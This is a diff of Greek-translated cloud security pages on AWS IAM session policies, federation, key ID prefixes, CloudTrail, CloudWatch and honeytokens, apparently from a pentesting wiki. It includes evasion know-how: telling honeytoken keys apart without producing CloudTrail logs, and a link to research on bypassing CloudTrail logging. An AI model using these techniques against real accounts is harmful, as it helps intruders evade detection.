**Αυτό**, **SCPs** και **η τήρηση της αρχής της ελάχιστης προνομίας** είναι οι τρόποι ελέγχου ώστε οι χρήστες να μην έχουν περισσότερες άδειες από αυτές που χρειάζονται.
|
||||
|
||||
### Session Policies
|
||||
|
||||
Μια πολιτική συνεδρίας είναι μια **πολιτική που ορίζεται όταν αναλαμβάνεται ένας ρόλος** με κάποιο τρόπο. Αυτό θα είναι σαν ένα **όριο IAM για αυτήν τη συνεδρία**: Αυτό σημαίνει ότι η πολιτική συνεδρίας δεν παραχωρεί άδειες αλλά **περιορίζει αυτές στις αναφερόμενες στην πολιτική** (με τις μέγιστες άδειες να είναι αυτές που έχει ο ρόλος).
|
||||
Μια πολιτική συνεδρίας είναι μια **πολιτική που ορίζεται όταν αναλαμβάνεται ένας ρόλος** με κάποιο τρόπο. Αυτό θα είναι σαν ένα **όριο IAM για αυτή τη συνεδρία**: Αυτό σημαίνει ότι η πολιτική συνεδρίας δεν παραχωρεί άδειες αλλά **περιορίζει αυτές στις αναφερόμενες στην πολιτική** (είναι οι μέγιστες άδειες αυτές που έχει ο ρόλος).
|
||||
|
||||
Αυτό είναι χρήσιμο για **μέτρα ασφαλείας**: Όταν ένας διαχειριστής πρόκειται να αναλάβει έναν πολύ προνομιακό ρόλο, θα μπορούσε να περιορίσει την άδεια μόνο στις αναφερόμενες στην πολιτική συνεδρίας σε περίπτωση που η συνεδρία παραβιαστεί.
|
||||
```bash
|
||||
@@ -228,14 +228,14 @@ aws sts assume-role \
|
||||
```
|
||||
Σημειώστε ότι από προεπιλογή **το AWS μπορεί να προσθέσει πολιτικές συνεδρίας σε συνεδρίες** που πρόκειται να δημιουργηθούν λόγω τρίτων λόγων. Για παράδειγμα, σε [μη αυθεντικοποιημένους ρόλους cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) από προεπιλογή (χρησιμοποιώντας ενισχυμένη αυθεντικοποίηση), το AWS θα δημιουργήσει **διαπιστευτήρια συνεδρίας με πολιτική συνεδρίας** που περιορίζει τις υπηρεσίες που μπορεί να έχει πρόσβαση η συνεδρία [**στην παρακάτω λίστα**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Επομένως, αν σε κάποιο σημείο αντιμετωπίσετε το σφάλμα "... επειδή καμία πολιτική συνεδρίας δεν επιτρέπει το ...", και ο ρόλος έχει πρόσβαση για να εκτελέσει την ενέργεια, είναι επειδή **υπάρχει μια πολιτική συνεδρίας που το εμποδίζει**.
|
||||
Επομένως, αν σε κάποια στιγμή αντιμετωπίσετε το σφάλμα "... επειδή καμία πολιτική συνεδρίας δεν επιτρέπει το ...", και ο ρόλος έχει πρόσβαση για να εκτελέσει την ενέργεια, είναι επειδή **υπάρχει μια πολιτική συνεδρίας που το εμποδίζει**.
|
||||
|
||||
### Ομοσπονδία Ταυτότητας
|
||||
|
||||
Η ομοσπονδία ταυτότητας **επιτρέπει στους χρήστες από παρόχους ταυτότητας που είναι εξωτερικοί** στο AWS να έχουν ασφαλή πρόσβαση σε πόρους του AWS χωρίς να χρειάζεται να παρέχουν διαπιστευτήρια χρήστη AWS από έγκυρο λογαριασμό IAM.\
|
||||
Ένα παράδειγμα παρόχου ταυτότητας μπορεί να είναι το δικό σας εταιρικό **Microsoft Active Directory** (μέσω **SAML**) ή υπηρεσίες **OpenID** (όπως **Google**). Η ομοσπονδία πρόσβασης θα επιτρέπει στους χρήστες εντός της να έχουν πρόσβαση στο AWS.
|
||||
Ένα παράδειγμα παρόχου ταυτότητας μπορεί να είναι το δικό σας εταιρικό **Microsoft Active Directory** (μέσω **SAML**) ή υπηρεσίες **OpenID** (όπως **Google**). Η ομοσπονδία πρόσβασης θα επιτρέψει στους χρήστες εντός της να έχουν πρόσβαση στο AWS.
|
||||
|
||||
Για να ρυθμίσετε αυτήν την εμπιστοσύνη, θα δημιουργηθεί ένας **Πάροχος Ταυτότητας IAM (SAML ή OAuth)** που θα **εμπιστεύεται** την **άλλη πλατφόρμα**. Στη συνέχεια, τουλάχιστον ένας **ρόλος IAM ανατίθεται (εμπιστευόμενος) στον Πάροχο Ταυτότητας**. Εάν ένας χρήστης από την εμπιστευμένη πλατφόρμα αποκτήσει πρόσβαση στο AWS, θα αποκτά πρόσβαση ως ο αναφερόμενος ρόλος.
|
||||
Για να ρυθμίσετε αυτήν την εμπιστοσύνη, θα δημιουργηθεί ένας **Πάροχος Ταυτότητας IAM (SAML ή OAuth)** που θα **εμπιστεύεται** την **άλλη πλατφόρμα**. Στη συνέχεια, τουλάχιστον ένας **ρόλος IAM ανατίθεται (εμπιστευόμενος) στον Πάροχο Ταυτότητας**. Εάν ένας χρήστης από την εμπιστευμένη πλατφόρμα αποκτήσει πρόσβαση στο AWS, θα έχει πρόσβαση ως ο αναφερόμενος ρόλος.
|
||||
|
||||
Ωστόσο, συνήθως θα θέλετε να δώσετε έναν **διαφορετικό ρόλο ανάλογα με την ομάδα του χρήστη** στην τρίτη πλατφόρμα. Στη συνέχεια, αρκετοί **ρόλοι IAM μπορούν να εμπιστεύονται** τον τρίτο Πάροχο Ταυτότητας και η τρίτη πλατφόρμα θα είναι αυτή που θα επιτρέπει στους χρήστες να αναλαμβάνουν έναν ρόλο ή τον άλλο.
|
||||
|
||||
@@ -255,19 +255,19 @@ aws sts assume-role \
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Στην πιο απλή περίπτωση του καταλόγου Κέντρου Ταυτότητας, το **Κέντρο Ταυτότητας θα έχει μια λίστα χρηστών & ομάδων** και θα μπορεί να **αναθέτει πολιτικές** σε αυτούς για **οποιουσδήποτε από τους λογαριασμούς** της οργάνωσης.
|
||||
Στην απλούστερη περίπτωση του καταλόγου Κέντρου Ταυτότητας, το **Κέντρο Ταυτότητας θα έχει μια λίστα χρηστών & ομάδων** και θα μπορεί να **αναθέτει πολιτικές** σε αυτούς για **οποιουσδήποτε από τους λογαριασμούς** της οργάνωσης.
|
||||
|
||||
Για να δώσετε πρόσβαση σε έναν χρήστη/ομάδα του Κέντρου Ταυτότητας σε έναν λογαριασμό, θα δημιουργηθεί ένας **Πάροχος Ταυτότητας SAML που εμπιστεύεται το Κέντρο Ταυτότητας**, και θα δημιουργηθεί ένας **ρόλος που εμπιστεύεται τον Πάροχο Ταυτότητας με τις καθορισμένες πολιτικές** στον προορισμένο λογαριασμό.
|
||||
Για να δώσετε πρόσβαση σε έναν χρήστη/ομάδα του Κέντρου Ταυτότητας σε έναν λογαριασμό, θα δημιουργηθεί ένας **Πάροχος Ταυτότητας SAML που εμπιστεύεται το Κέντρο Ταυτότητας**, και θα δημιουργηθεί ένας **ρόλος που εμπιστεύεται τον Πάροχο Ταυτότητας με τις καθορισμένες πολιτικές** στον προορισμό λογαριασμό.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
Είναι δυνατόν να **δώσετε άδειες μέσω ενσωματωμένων πολιτικών σε ρόλους που δημιουργούνται μέσω του IAM Identity Center**. Οι ρόλοι που δημιουργούνται στους λογαριασμούς που λαμβάνουν **ενσωματωμένες πολιτικές στο AWS Identity Center** θα έχουν αυτές τις άδειες σε μια ενσωματωμένη πολιτική που ονομάζεται **`AwsSSOInlinePolicy`**.
|
||||
Είναι δυνατόν να **δώσετε άδειες μέσω ενσωματωμένων πολιτικών σε ρόλους που δημιουργούνται μέσω του IAM Identity Center**. Οι ρόλοι που δημιουργούνται στους λογαριασμούς που δίνονται **ενσωματωμένες πολιτικές στο AWS Identity Center** θα έχουν αυτές τις άδειες σε μια ενσωματωμένη πολιτική που ονομάζεται **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Επομένως, ακόμη και αν δείτε 2 ρόλους με μια ενσωματωμένη πολιτική που ονομάζεται **`AwsSSOInlinePolicy`**, **δεν σημαίνει ότι έχει τις ίδιες άδειες**.
|
||||
Επομένως, ακόμη και αν δείτε 2 ρόλους με μια ενσωματωμένη πολιτική που ονομάζεται **`AwsSSOInlinePolicy`**, **δεν σημαίνει ότι έχουν τις ίδιες άδειες**.
|
||||
|
||||
### Διασυνοριακές Εμπιστοσύνες και Ρόλοι
|
||||
|
||||
**Ένας χρήστης** (εμπιστευόμενος) μπορεί να δημιουργήσει έναν Διασυνοριακό Ρόλο με ορισμένες πολιτικές και στη συνέχεια, **να επιτρέψει σε έναν άλλο χρήστη** (εμπιστευμένος) να **έχει πρόσβαση στον λογαριασμό του** αλλά μόνο **έχοντας την πρόσβαση που υποδεικνύεται στις νέες πολιτικές ρόλου**. Για να το δημιουργήσετε αυτό, απλώς δημιουργήστε έναν νέο Ρόλο και επιλέξτε Διασυνοριακό Ρόλο. Οι ρόλοι για Διασυνοριακή Πρόσβαση προσφέρουν δύο επιλογές. Παροχή πρόσβασης μεταξύ λογαριασμών AWS που κατέχετε και παροχή πρόσβασης μεταξύ ενός λογαριασμού που κατέχετε και ενός τρίτου λογαριασμού AWS.\
|
||||
**Ένας χρήστης** (εμπιστευόμενος) μπορεί να δημιουργήσει έναν Διασυνοριακό Ρόλο με κάποιες πολιτικές και στη συνέχεια, **να επιτρέψει σε έναν άλλο χρήστη** (εμπιστευμένος) να **έχει πρόσβαση στον λογαριασμό του** αλλά μόνο **έχοντας την πρόσβαση που υποδεικνύεται στις νέες πολιτικές ρόλου**. Για να το δημιουργήσετε αυτό, απλώς δημιουργήστε έναν νέο Ρόλο και επιλέξτε Διασυνοριακό Ρόλο. Οι ρόλοι για Διασυνοριακή Πρόσβαση προσφέρουν δύο επιλογές. Παροχή πρόσβασης μεταξύ λογαριασμών AWS που κατέχετε και παροχή πρόσβασης μεταξύ ενός λογαριασμού που κατέχετε και ενός τρίτου λογαριασμού AWS.\
|
||||
Συνιστάται να **καθορίσετε τον χρήστη που είναι εμπιστευμένος και να μην βάλετε κάτι γενικό** γιατί αν όχι, άλλοι αυθεντικοποιημένοι χρήστες όπως οι ομοσπονδικοί χρήστες θα μπορούν επίσης να εκμεταλλευτούν αυτήν την εμπιστοσύνη.
|
||||
|
||||
### AWS Simple AD
|
||||
@@ -278,9 +278,9 @@ aws sts assume-role \
|
||||
- Κέντρο Διαχείρισης AD
|
||||
- Πλήρης υποστήριξη PS API
|
||||
- Κάδος Ανακύκλωσης AD
|
||||
- Λογαριασμοί Υπηρεσιών Διαχειριζόμενων Ομάδων
|
||||
- Διαχειριζόμενοι Λογαριασμοί Υπηρεσιών Ομάδας
|
||||
- Επεκτάσεις Σχήματος
|
||||
- Καμία Άμεση πρόσβαση στο OS ή στις Εγκαταστάσεις
|
||||
- Καμία Άμεση πρόσβαση στο OS ή σε Instances
|
||||
|
||||
#### Ομοσπονδία Ιστού ή Αυθεντικοποίηση OpenID
|
||||
|
||||
@@ -297,8 +297,10 @@ aws sts assume-role \
|
||||
|
||||
Στην [**αυτή τη σελίδα**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) μπορείτε να βρείτε τα **προθέματα ID IAM** των κλειδιών ανάλογα με τη φύση τους:
|
||||
|
||||
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| Κωδικός Αναγνωριστικού | Περιγραφή |
|
||||
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
|
||||
| ACCA | Διαπιστευτήριο συγκεκριμένου πλαισίου |
|
||||
| AGPA | Ομάδα χρηστών |
|
||||
| AIDA | Χρήστης IAM |
|
||||
@@ -309,7 +311,7 @@ aws sts assume-role \
|
||||
| APKA | Δημόσιο κλειδί |
|
||||
| AROA | Ρόλος |
|
||||
| ASCA | Πιστοποιητικό |
|
||||
| ASIA | [Προσωρινά (AWS STS) αναγνωριστικά κλειδιών πρόσβασης](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) χρησιμοποιούν αυτό το πρόθεμα, αλλά είναι μοναδικά μόνο σε συνδυασμό με το μυστικό κλειδί πρόσβασης και το διακριτικό συνεδρίας. |
|
||||
| ASIA | [Προσωρινά (AWS STS) αναγνωριστικά κλειδιών πρόσβασης](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) χρησιμοποιήστε αυτό το πρόθεμα, αλλά είναι μοναδικά μόνο σε συνδυασμό με το μυστικό κλειδί πρόσβασης και το διακριτικό συνεδρίας. |
|
||||
|
||||
### Συνιστώμενες άδειες για έλεγχο λογαριασμών
|
||||
|
||||
@@ -343,7 +345,7 @@ region = eu-west-2
|
||||
```
|
||||
Αν χρειάζεστε να έχετε πρόσβαση σε **διαφορετικούς λογαριασμούς AWS** και το προφίλ σας έχει δοθεί πρόσβαση για **να αναλάβετε έναν ρόλο μέσα σε αυτούς τους λογαριασμούς**, δεν χρειάζεται να καλείτε χειροκίνητα το STS κάθε φορά (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) και να ρυθμίζετε τα διαπιστευτήρια.
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε το αρχείο `~/.aws/config` για να [ **υποδείξετε ποιους ρόλους να αναλάβετε**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), και στη συνέχεια να χρησιμοποιήσετε την παράμετρο `--profile` όπως συνήθως (η `assume-role` θα εκτελείται με διαφανή τρόπο για τον χρήστη).\
|
||||
Μπορείτε να χρησιμοποιήσετε το αρχείο `~/.aws/config` για να [**υποδείξετε ποιους ρόλους να αναλάβετε**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), και στη συνέχεια να χρησιμοποιήσετε την παράμετρο `--profile` όπως συνήθως (η `assume-role` θα εκτελείται με διαφανή τρόπο για τον χρήστη).\
|
||||
Ένα παράδειγμα αρχείου ρυθμίσεων:
|
||||
```
|
||||
[profile acc2]
|
||||
@@ -353,7 +355,7 @@ role_session_name = <session_name>
|
||||
source_profile = <profile_with_assume_role>
|
||||
sts_regional_endpoints = regional
|
||||
```
|
||||
Με αυτό το αρχείο ρύθμισης μπορείτε να χρησιμοποιήσετε το aws cli όπως:
|
||||
Με αυτό το αρχείο ρυθμίσεων μπορείτε στη συνέχεια να χρησιμοποιήσετε το aws cli όπως:
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## **CloudTrail**
|
||||
|
||||
AWS CloudTrail **καταγράφει και παρακολουθεί δραστηριότητα μέσα στο περιβάλλον AWS σας**. Καταγράφει λεπτομερή **αρχεία γεγονότων**, συμπεριλαμβανομένου του ποιος έκανε τι, πότε και από πού, για όλες τις αλληλεπιδράσεις με τους πόρους AWS. Αυτό παρέχει ένα ίχνος ελέγχου των αλλαγών και των ενεργειών, βοηθώντας στην ανάλυση ασφάλειας, την επιθεώρηση συμμόρφωσης και την παρακολούθηση αλλαγών πόρων. Το CloudTrail είναι απαραίτητο για την κατανόηση της συμπεριφοράς χρηστών και πόρων, την ενίσχυση των θέσεων ασφάλειας και την εξασφάλιση της κανονιστικής συμμόρφωσης.
|
||||
AWS CloudTrail **καταγράφει και παρακολουθεί τη δραστηριότητα μέσα στο περιβάλλον AWS σας**. Καταγράφει λεπτομερή **αρχεία γεγονότων**, συμπεριλαμβανομένου του ποιος έκανε τι, πότε και από πού, για όλες τις αλληλεπιδράσεις με τους πόρους AWS. Αυτό παρέχει ένα ίχνος ελέγχου των αλλαγών και των ενεργειών, βοηθώντας στην ανάλυση ασφάλειας, την επιθεώρηση συμμόρφωσης και την παρακολούθηση αλλαγών πόρων. Το CloudTrail είναι απαραίτητο για την κατανόηση της συμπεριφοράς χρηστών και πόρων, την ενίσχυση των θέσεων ασφάλειας και την εξασφάλιση της κανονιστικής συμμόρφωσης.
|
||||
|
||||
Κάθε καταγεγραμμένο γεγονός περιέχει:
|
||||
|
||||
@@ -29,7 +29,7 @@ AWS CloudTrail **καταγράφει και παρακολουθεί δραστ
|
||||
Τα αρχεία καταγραφής αποθηκεύονται σε έναν **κάδο S3 με αυτή τη μορφή ονόματος**:
|
||||
|
||||
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
|
||||
- Όντας το BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
|
||||
- Ονομάζοντας τον BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
|
||||
- Παράδειγμα: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
|
||||
|
||||
Μέσα σε κάθε φάκελο, κάθε αρχείο καταγραφής θα έχει ένα **όνομα που ακολουθεί αυτή τη μορφή**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
|
||||
@@ -38,7 +38,7 @@ AWS CloudTrail **καταγράφει και παρακολουθεί δραστ
|
||||
|
||||
.png>)
|
||||
|
||||
Επιπλέον, **αρχεία digest (για έλεγχο ακεραιότητας αρχείων)** θα βρίσκονται μέσα στον **ίδιο κάδο** σε:
|
||||
Επιπλέον, **αρχεία digest (για έλεγχο ακεραιότητας αρχείου)** θα βρίσκονται μέσα στον **ίδιο κάδο** σε:
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -69,7 +69,7 @@ aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [-
|
||||
```
|
||||
### Logs to CloudWatch
|
||||
|
||||
**Το CloudTrail μπορεί αυτόματα να στέλνει logs στο CloudWatch ώστε να μπορείτε να ρυθμίσετε ειδοποιήσεις που σας προειδοποιούν όταν εκτελούνται ύποπτες δραστηριότητες.**\
|
||||
**Το CloudTrail μπορεί αυτόματα να στέλνει τα logs στο CloudWatch ώστε να μπορείτε να ρυθμίσετε ειδοποιήσεις που σας προειδοποιούν όταν εκτελούνται ύποπτες δραστηριότητες.**\
|
||||
Σημειώστε ότι για να επιτραπεί στο CloudTrail να στείλει τα logs στο CloudWatch, χρειάζεται να δημιουργηθεί ένας **ρόλος** που να επιτρέπει αυτή την ενέργεια. Εάν είναι δυνατόν, συνιστάται να χρησιμοποιήσετε τον προεπιλεγμένο ρόλο του AWS για να εκτελέσετε αυτές τις ενέργειες. Αυτός ο ρόλος θα επιτρέπει στο CloudTrail να:
|
||||
|
||||
- CreateLogStream: Αυτό επιτρέπει τη δημιουργία ροών logs στο CloudWatch Logs
|
||||
@@ -83,16 +83,16 @@ aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [-
|
||||
|
||||
### Insights
|
||||
|
||||
**Τα Insights του CloudTrail** αναλύουν αυτόματα **τα γεγονότα διαχείρισης εγγραφής** από τα μονοπάτια του CloudTrail και σας **ειδοποιούν** για **ασυνήθιστη δραστηριότητα**. Για παράδειγμα, εάν υπάρχει αύξηση στα γεγονότα `TerminateInstance` που διαφέρει από τις καθορισμένες βάσεις, θα το δείτε ως γεγονός Insight. Αυτά τα γεγονότα καθιστούν **ευκολότερη από ποτέ την εύρεση και την αντίδραση σε ασυνήθιστη δραστηριότητα API**.
|
||||
**Τα Insights του CloudTrail** αναλύουν αυτόματα **τα γεγονότα διαχείρισης εγγραφής** από τα μονοπάτια του CloudTrail και σας **ειδοποιούν** για **ασυνήθιστη δραστηριότητα**. Για παράδειγμα, εάν υπάρχει αύξηση στα γεγονότα `TerminateInstance` που διαφέρει από τις καθορισμένες βάσεις, θα το δείτε ως γεγονός Insight. Αυτά τα γεγονότα διευκολύνουν **την εύρεση και την αντίδραση σε ασυνήθιστη δραστηριότητα API** περισσότερο από ποτέ.
|
||||
|
||||
Τα insights αποθηκεύονται στον ίδιο κάδο με τα logs του CloudTrail στο: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
|
||||
|
||||
### Security
|
||||
|
||||
| Ακεραιότητα Αρχείου Log του CloudTrail | <ul><li>Επικυρώστε αν τα logs έχουν παραποιηθεί (τροποποιηθεί ή διαγραφεί)</li><li><p>Χρησιμοποιεί αρχεία digest (δημιουργεί hash για κάθε αρχείο)</p><ul><li>SHA-256 hashing</li><li>SHA-256 με RSA για ψηφιακή υπογραφή</li><li>ιδιωτικό κλειδί που ανήκει στην Amazon</li></ul></li><li>Χρειάζεται 1 ώρα για να δημιουργηθεί ένα αρχείο digest (γίνεται στην ώρα κάθε ώρα)</li></ul> |
|
||||
| Control Name | Implementation Details |
|
||||
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| Σταματήστε την μη εξουσιοδοτημένη πρόσβαση | <ul><li><p>Χρησιμοποιήστε πολιτικές IAM και πολιτικές κάδου S3</p><ul><li>ομάδα ασφαλείας —> πρόσβαση διαχειριστή</li><li>ελεγκτές —> πρόσβαση μόνο για ανάγνωση</li></ul></li><li>Χρησιμοποιήστε SSE-S3/SSE-KMS για να κρυπτογραφήσετε τα logs</li></ul> |
|
||||
| Αποτρέψτε τη διαγραφή αρχείων log | <ul><li>Περιορίστε την πρόσβαση διαγραφής με πολιτικές IAM και κάδου</li><li>Ρυθμίστε την διαγραφή MFA S3</li><li>Επικυρώστε με την Επικύρωση Αρχείου Log</li></ul> |
|
||||
| CloudTrail Log File Integrity | <ul><li>Επικυρώστε αν τα logs έχουν παραποιηθεί (τροποποιηθεί ή διαγραφεί)</li><li><p>Χρησιμοποιεί αρχεία digest (δημιουργεί hash για κάθε αρχείο)</p><ul><li>SHA-256 hashing</li><li>SHA-256 με RSA για ψηφιακή υπογραφή</li><li>ιδιωτικό κλειδί που ανήκει στην Amazon</li></ul></li><li>Χρειάζεται 1 ώρα για να δημιουργηθεί ένα αρχείο digest (γίνεται στην ώρα κάθε ώρα)</li></ul> |
|
||||
| Stop unauthorized access | <ul><li><p>Χρησιμοποιήστε πολιτικές IAM και πολιτικές κάδου S3</p><ul><li>ομάδα ασφαλείας —> πρόσβαση διαχειριστή</li><li>ελεγκτές —> πρόσβαση μόνο για ανάγνωση</li></ul></li><li>Χρησιμοποιήστε SSE-S3/SSE-KMS για να κρυπτογραφήσετε τα logs</li></ul> |
|
||||
| Prevent log files from being deleted | <ul><li>Περιορίστε την πρόσβαση διαγραφής με πολιτικές IAM και πολιτικές κάδου</li><li>Ρυθμίστε την διαγραφή MFA S3</li><li>Επικυρώστε με την Επικύρωση Αρχείων Logs</li></ul> |
|
||||
|
||||
## Access Advisor
|
||||
|
||||
@@ -150,7 +150,7 @@ https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript
|
||||
|
||||
Τα Honeytokens δημιουργούνται για να **ανιχνεύσουν την εξαγωγή ευαίσθητων πληροφοριών**. Στην περίπτωση του AWS, είναι **κλειδιά AWS των οποίων η χρήση παρακολουθείται**, αν κάτι προκαλέσει μια ενέργεια με αυτό το κλειδί, τότε κάποιος πρέπει να έχει κλέψει αυτό το κλειδί.
|
||||
|
||||
Ωστόσο, τα Honeytokens όπως αυτά που δημιουργούνται από [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) χρησιμοποιούν είτε αναγνωρίσιμα ονόματα λογαριασμού είτε χρησιμοποιούν το ίδιο ID λογαριασμού AWS για όλους τους πελάτες τους. Επομένως, αν μπορείτε να αποκτήσετε το όνομα λογαριασμού και/ή το ID λογαριασμού χωρίς να κάνετε το Cloudtrail να δημιουργήσει οποιοδήποτε log, **θα μπορούσατε να γνωρίζετε αν το κλειδί είναι honeytoken ή όχι**.
|
||||
Ωστόσο, τα Honeytokens όπως αυτά που δημιουργούνται από [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) χρησιμοποιούν είτε αναγνωρίσιμα ονόματα λογαριασμού είτε χρησιμοποιούν το ίδιο ID λογαριασμού AWS για όλους τους πελάτες τους. Επομένως, αν μπορείτε να αποκτήσετε το όνομα λογαριασμού και/ή το ID λογαριασμού χωρίς να κάνετε το Cloudtrail να δημιουργήσει οποιοδήποτε log, **θα μπορούσατε να ξέρετε αν το κλειδί είναι honeytoken ή όχι**.
|
||||
|
||||
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) έχει κάποιους κανόνες για να ανιχνεύσει αν ένα κλειδί ανήκει σε [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
|
||||
|
||||
@@ -198,7 +198,7 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι όλες οι δημόσιες APIs που ανακαλύφθηκαν ότι δεν δημιουργούν logs CloudTrail έχουν πλέον διορθωθεί, οπότε ίσως χρειαστεί να βρείτε τις δικές σας...
|
||||
> Σημειώστε ότι όλες οι δημόσιες APIs που ανακαλύφθηκαν ότι δεν δημιουργούν logs CloudTrail έχουν τώρα διορθωθεί, οπότε ίσως χρειαστεί να βρείτε τις δικές σας...
|
||||
>
|
||||
> Για περισσότερες πληροφορίες δείτε την [**πρωτότυπη έρευνα**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
|
||||
|
||||
|
||||
@@ -21,25 +21,25 @@
|
||||
|
||||
### Namespaces
|
||||
|
||||
Ένας namespace είναι ένα δοχείο για τα metrics του CloudWatch. Βοηθά στην κατηγοριοποίηση και απομόνωση των metrics, διευκολύνοντας τη διαχείριση και ανάλυσή τους.
|
||||
Ένα namespace είναι ένα δοχείο για τα metrics του CloudWatch. Βοηθά στην κατηγοριοποίηση και απομόνωση των metrics, διευκολύνοντας τη διαχείριση και ανάλυσή τους.
|
||||
|
||||
- **Παραδείγματα**: AWS/EC2 για metrics που σχετίζονται με EC2, AWS/RDS για metrics RDS.
|
||||
|
||||
### Metrics
|
||||
|
||||
Τα metrics είναι σημεία δεδομένων που συλλέγονται με την πάροδο του χρόνου και αντιπροσωπεύουν την απόδοση ή τη χρήση των πόρων AWS. Τα metrics μπορούν να συλλέγονται από υπηρεσίες AWS, προσαρμοσμένες εφαρμογές ή τρίτες ενσωματώσεις.
|
||||
Τα metrics είναι σημεία δεδομένων που συλλέγονται με την πάροδο του χρόνου και αντιπροσωπεύουν την απόδοση ή την αξιοποίηση των πόρων AWS. Τα metrics μπορούν να συλλέγονται από υπηρεσίες AWS, προσαρμοσμένες εφαρμογές ή τρίτες ενσωματώσεις.
|
||||
|
||||
- **Παράδειγμα**: CPUUtilization, NetworkIn, DiskReadOps.
|
||||
|
||||
### Dimensions
|
||||
|
||||
Οι διαστάσεις είναι ζεύγη κλειδιού-τιμής που είναι μέρος των metrics. Βοηθούν στην μοναδική αναγνώριση ενός metric και παρέχουν επιπλέον συμφραζόμενα, με 30 να είναι ο μέγιστος αριθμός διαστάσεων που μπορούν να συσχετιστούν με ένα metric. Οι διαστάσεις επιτρέπουν επίσης την φιλτράρισμα και την ομαδοποίηση των metrics με βάση συγκεκριμένα χαρακτηριστικά.
|
||||
Οι διαστάσεις είναι ζεύγη κλειδιού-τιμής που είναι μέρος των metrics. Βοηθούν να προσδιοριστεί μοναδικά ένα metric και παρέχουν επιπλέον συμφραζόμενα, με 30 να είναι ο μέγιστος αριθμός διαστάσεων που μπορεί να συσχετιστεί με ένα metric. Οι διαστάσεις επιτρέπουν επίσης την φιλτράρισμα και την ομαδοποίηση των metrics με βάση συγκεκριμένα χαρακτηριστικά.
|
||||
|
||||
- **Παράδειγμα**: Για EC2 instances, οι διαστάσεις μπορεί να περιλαμβάνουν InstanceId, InstanceType και AvailabilityZone.
|
||||
- **Παράδειγμα**: Για τα EC2 instances, οι διαστάσεις μπορεί να περιλαμβάνουν InstanceId, InstanceType και AvailabilityZone.
|
||||
|
||||
### Statistics
|
||||
|
||||
Οι στατιστικές είναι μαθηματικοί υπολογισμοί που εκτελούνται σε δεδομένα metrics για να τα συνοψίσουν με την πάροδο του χρόνου. Κοινές στατιστικές περιλαμβάνουν Μέσο, Άθροισμα, Ελάχιστο, Μέγιστο και SampleCount.
|
||||
Οι στατιστικές είναι μαθηματικοί υπολογισμοί που εκτελούνται σε δεδομένα metrics για να τα συνοψίσουν με την πάροδο του χρόνου. Κοινές στατιστικές περιλαμβάνουν Μέσο Όρο, Άθροισμα, Ελάχιστο, Μέγιστο και Δείγμα.
|
||||
|
||||
- **Παράδειγμα**: Υπολογισμός του μέσου CPU utilization σε διάστημα μιας ώρας.
|
||||
|
||||
@@ -53,7 +53,7 @@
|
||||
|
||||
### Dashboard
|
||||
|
||||
**CloudWatch Dashboards** παρέχουν προσαρμόσιμες **εικόνες των metrics AWS CloudWatch σας**. Είναι δυνατή η δημιουργία και ρύθμιση dashboards για την οπτικοποίηση δεδομένων και την παρακολούθηση πόρων σε μία μόνο εικόνα, συνδυάζοντας διαφορετικά metrics από διάφορες υπηρεσίες AWS.
|
||||
